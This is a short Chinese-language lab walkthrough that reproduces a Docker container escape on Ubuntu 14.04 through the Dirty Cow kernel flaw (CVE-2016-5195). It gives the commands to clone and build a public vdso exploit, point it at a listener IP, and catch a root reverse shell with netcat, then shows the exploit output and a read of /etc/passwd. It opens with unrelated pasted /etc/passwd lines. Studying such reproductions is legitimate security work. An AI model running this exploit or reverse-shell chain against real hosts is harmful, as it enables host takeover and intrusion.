gnome-initial-setup:x:120:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:121:125:Gnome Display Manager:/var/lib/gdm3:/bin/false
ctfd:x:1000:1000:ctfd,,,:/home/ctfd:/bin/bash
sshd:x:122:65534::/run/sshd:/usr/sbin/nologin

脏牛漏洞实现 Docker 逃逸

  • 当宿主机存在 Dirty Cow(CVE-2016-5195) 漏洞时,利用该漏洞,可实现 Docker 容器逃逸,获得 root 权限的 shell

  • 使用 Ubuntu 的 14.04 版本进行复现,该版本是存在脏牛漏洞的,执行下面命令之前需要安装好 docker docker-compose

1
2
3
git clone https://github.com/gebl/dirtycow-docker-vdso.git
cd dirtycow-docker-vdso/
sudo docker-compose run dirtycow /bin/bash
  • kali 中开启监听,进入到 dirtycow-vdso 目录,编译之后,并执行:
1
2
3
4
5
6
7
8
9
10
11
12
13
root@fcdb6061c475:/# cd dirtycow-vdso/
root@fcdb6061c475:/dirtycow-vdso# make
nasm -f bin -o payload payload.s
xxd -i payload payload.h
cc -o 0xdeadbeef.o -c 0xdeadbeef.c -Wall
cc -o 0xdeadbeef 0xdeadbeef.o -lpthread
root@fcdb6061c475:/dirtycow-vdso# ./0xdeadbeef 10.10.8.31:4444
[*] payload target: 10.10.8.31:4444
[*] exploit: patch 1/2
[*] vdso successfully backdoored
[*] exploit: patch 2/2
[*] vdso successfully backdoored
[*] waiting for reverse connect shell...
  • 在 Kali 上成功接收反弹:
1
2
3
4
5
6
7
8
9
10
11
12
13
root at kali in ~
$ nc -lvvp 4444
listening on [any] 4444 ...
10.10.8.42: inverse host lookup failed: Host name lookup failure
connect to [10.10.8.31] from (UNKNOWN) [10.10.8.42] 56532
id
uid=0(root) gid=0(root) groups=0(root)
tail -n 5 /etc/passwd
colord:x:113:121:colord colour management daemon,,,:/var/lib/colord:/bin/false
hplip:x:114:7:HPLIP system user,,,:/var/run/hplip:/bin/false
pulse:x:115:122:PulseAudio daemon,,,:/var/run/pulse:/bin/false
goktech:x:1000:1000:goktech,,,:/home/goktech:/bin/bash
sshd:x:116:65534::/var/run/sshd:/usr/sbin/nologin